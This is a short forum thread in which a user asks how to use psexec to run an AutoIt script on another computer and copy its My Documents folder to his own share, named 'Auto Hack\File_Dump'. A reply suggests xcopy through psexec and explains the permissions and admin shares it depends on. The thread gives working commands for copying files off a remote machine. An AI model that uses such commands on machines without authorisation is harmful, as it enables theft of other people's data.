Jump to content

Copying remote files to your computer


Micah C

Recommended Posts

Hello,

I have an AutoIT script that copy's a directory to another directory on that computer. I would like to have this script run remotely on another computer with psexec. Here is what I need help with. How can I have a directory copied from that computer to my computer \\Ower\c$\Auto Hack\File_Dump\

AutoIT Script

DirCopy(@MyDocumentsDir, "\\Owner\c$\Auto Hack\File_Dump\", 1)

Psexec

psexec -c \\Computer1 "AUTOITSCRIPT.exe"

So far the only thing that I have accomplished is copying a non functional AutoIt script to the remote machine. Any help is appreciated.

Micah C

Link to comment
Share on other sites

Use psexec to call Xcopy if it's a windows machine.

you might need to check the params for xcopy to get it exact.

But somthing like xcopy drive:\\hckedfiles \\sharemachine\share\files or so on should do the trick.

Cheers

Shawty

Link to comment
Share on other sites

You could if you where sure the path & share exsisted. Remember however, most savy sysadmins will disable the default C$ and other x$ shares for security reasons.

That said, anything you can run from a command line on your own box, can in theory be run on the remote PC using psexec, providing

A) the user account your specifying has permission on the remote to do this

B ) The app/CLI program exists on the remote PC

C) the share exists

Cheers

Shawty

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...